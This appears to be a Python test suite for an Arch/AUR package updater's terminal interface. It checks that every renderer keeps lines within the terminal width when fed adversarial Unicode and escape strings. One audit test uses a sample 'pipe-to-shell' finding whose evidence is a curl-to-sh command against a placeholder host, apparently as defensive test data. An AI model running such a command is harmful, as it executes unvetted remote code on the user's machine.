"""The width invariant, across the layout and every renderer. Every line this tool prints has to fit the terminal. A line that is even one cell too wide does not merely look wrong: the terminal wraps it, which pushes every row below out of alignment and makes the whole screen unreadable. This used to be broken in a way that was invisible on a wide terminal. `Columns.for_width` inflated the width up to a 64-column floor, so on a 40-column terminal every Row believed it had 64 cells, produced 62-cell lines, and the terminal wrapped all of them. The Go front end had the identical bug for the identical reason. The content is adversarial on purpose: a PKGBUILD can put arbitrary text into a description, a source URL or an evidence line, and cell widths for emoji, ZWJ sequences and combining marks do not match codepoint counts. """ from __future__ import annotations import sys from pathlib import Path sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) from updater.audit import Finding, Report, SemanticDiff, SetDiff, Severity # noqa: E402 from updater.buildgraph import build_graph # noqa: E402 from updater.icons import glyphs # noqa: E402 from updater.layout import Grid, Overflow, clip # noqa: E402 from updater.live import BuildState # noqa: E402 from updater.render import audit as render_audit # noqa: E402 from updater.render import build as render_build # noqa: E402 from updater.render import review as render_review # noqa: E402 from updater.render.base import MIN_WIDTH, Columns # noqa: E402 from updater.srcinfo import SrcInfo # noqa: E402 from updater.theme import Theme # noqa: E402 THEME = Theme.default() GLYPHS = glyphs("unicode") #: widths worth exercising: absurdly narrow, the old floor, and comfortable WIDTHS = (20, 30, 40, 60, 63, 64, 65, 80, 100, 120, 200) UGLY = [ "日本語のパッケージ説明", "🎉🚀 emoji in a description", "combining: e\u0301\u0301\u0301\u0301", "zero\u200bwidth\u200bspaces", "RTL \u202eoverride\u202c text", "👨‍👩‍👧‍👦 family zwj", "🏳️‍🌈 flag", "ff ligature", "x" * 400, "", "tab\there", "\x1b[31mraw escape\x1b[0m", ] def check(lines, width: int, label: str) -> list[str]: bad = [] for i, line in enumerate(lines): cells = line.cell_len if hasattr(line, "cell_len") else len(str(line)) if cells > width: bad.append( f"{label} width={width} line {i}: {cells} cells, " f"{cells - width} over: {str(line)[:60]!r}" ) return bad # -------------------------------------------------------------------------- # the primitives # -------------------------------------------------------------------------- def test_for_width_never_reports_a_width_wider_than_the_terminal(): """The regression: this used to return MIN_WIDTH for anything narrower.""" for width in WIDTHS: cols = Columns.for_width(width) assert cols.width <= max(width, 20), f"for_width({width}) reported {cols.width}" def test_columns_never_place_content_past_the_edge(): for width in WIDTHS: cols = Columns.for_width(width) for name in ("ver", "note", "feed_ver", "feed_note"): at = getattr(cols, name) assert 0 <= at <= cols.width, f"width={width}: {name}={at}" def test_the_grid_floor_still_protects_a_narrow_layout(): """The floor exists so columns do not collapse; it must not vanish.""" narrow = Columns.for_width(20) assert narrow.grid == MIN_WIDTH # and the columns stay distinct from each other at a usable width cols = Columns.for_width(100) assert cols.ver < cols.note def test_rows_cannot_overflow_the_grid(): for width in WIDTHS: grid = Grid(width=width) for text in UGLY: for shape in ("span", "span_right", "chain", "fill", "right_only"): try: row = grid.row() if shape == "span": row.span(text) elif shape == "span_right": row.span(text).right(text) elif shape == "chain": row.span(text).to(width // 2, minimum=0).span(text).right(text) elif shape == "fill": row.span(text).fill() else: row.right(text).right(text, col=width - 1) line = row.done() except Overflow as exc: raise AssertionError( f"width={width} {shape} {text[:20]!r} overflowed: {exc}" ) from exc assert line.cell_len <= width, ( f"width={width} {shape} {text[:20]!r}: {line.cell_len} cells" ) def test_clip_respects_its_budget(): for limit in (0, 1, 2, 3, 5, 20, 50, 200): for text in UGLY: out = clip(text, limit) from rich.cells import cell_len assert cell_len(out) <= max(0, limit), ( f"clip({text[:16]!r}, {limit}) -> {out!r} is {cell_len(out)} cells" ) def test_clip_leaves_short_text_alone(): assert clip("linux", 20) == "linux" assert clip("", 10) == "" assert clip("linux", 0) == "" # -------------------------------------------------------------------------- # the renderers # -------------------------------------------------------------------------- def test_the_review_screen_fits_every_width(): problems = [] for width in WIDTHS: for text in UGLY: review = render_review.Review( meta=text, repo=[render_review.RepoRow(tag="U", name=text, old=text, new=text, size=text)], aur=[ render_review.AurRow( tag="!!", name=text, old=text, new=text, note=text, details=[text] ) ], vcs=[render_review.VcsRow(name=text, old=text, new=text)], checks=[render_review.CheckRow(ok=False, label=text, detail=text)], steps=[render_review.Step(index="1", command=text, detail=text)], ) for dry_run in (True, False): problems += check( render_review.build( review, theme=THEME, glyphs=GLYPHS, width=width, dry_run=dry_run ), width, f"review dry={dry_run}", ) assert not problems, "\n".join(problems[:12]) def test_the_audit_screen_fits_every_width(): problems = [] for width in WIDTHS: for text in UGLY: report = Report( package=text, findings=[ Finding(rule=text, severity=Severity.BLOCK, title=text, evidence=text), Finding( rule=text, severity=Severity.LOOK, title=text, evidence=text, where=text ), ], diff=SemanticDiff( pkgver=(text, text), source=SetDiff(added=[text], removed=[text]), sums=SetDiff(added=[text]), funcs_added=[text], funcs_removed=[text], funcs_changed=[text], lines_added=3, lines_removed=2, ), ) for baseline in (True, False): problems += check( render_audit.build( report, theme=THEME, glyphs=GLYPHS, width=width, title=text, old_text=text, new_text=text, baseline=baseline, ), width, f"audit baseline={baseline}", ) assert not problems, "\n".join(problems[:12]) def test_the_build_dashboard_fits_every_width(): graph = build_graph( { name: SrcInfo( pkgbase=name, pkgver="1", pkgrel="1", depends=(["a"] if name != "a" else []) ) for name in ("a", "b", "c") }, {"a", "b", "c"}, ) problems = [] for width in WIDTHS: for text in UGLY: state = BuildState(package=text, phase=text, elapsed=12.5, jobs=3) feed = [ render_build.FeedEntry( name=text, version=text, elapsed=3.0, state="done", shared=True, note=text ) ] for dashboard in (True, False): try: lines = render_build.build( graph=graph, theme=THEME, glyphs=GLYPHS, width=width, feed=feed, states=[state], completed={"a"}, running={"b"}, failed=set(), totals=render_build.Totals( total=3, elapsed=9.0, eta=1.0, download_bytes=1024, download_rate=512.0, download_remaining=0, download_eta=0.0, ), parallelism=text, dashboard=dashboard, ) except Exception as exc: # noqa: BLE001 problems.append( f"build width={width} dashboard={dashboard} " f"{text[:16]!r} raised {type(exc).__name__}: {exc}" ) continue problems += check(lines, width, f"build dashboard={dashboard}") assert not problems, "\n".join(problems[:12]) def test_a_narrow_terminal_does_not_wrap_the_audit_screen(): """The specific shape of the original bug, kept as a named regression test.""" report = Report( package="enca-bin", findings=[ Finding( rule="pipe-to-shell", severity=Severity.BLOCK, title="pipes a download into a shell", evidence="curl https://example.invalid/x | sh", ) ], diff=SemanticDiff(source=SetDiff(added=["https://example.invalid/x"])), ) for width in (40, 50, 60): lines = render_audit.build( report, theme=THEME, glyphs=GLYPHS, width=width, title="enca-bin", baseline=False ) worst = max(line.cell_len for line in lines) assert worst <= width, f"width={width} produced a {worst}-cell line" def main() -> int: tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)] failed = 0 for name, fn in tests: try: fn() except Exception as exc: # noqa: BLE001 failed += 1 print(f"FAIL {name}\n {type(exc).__name__}: {exc}") else: print(f"ok {name}") print(f"\n{len(tests) - failed}/{len(tests)} passed") return 1 if failed else 0 if __name__ == "__main__": raise SystemExit(main())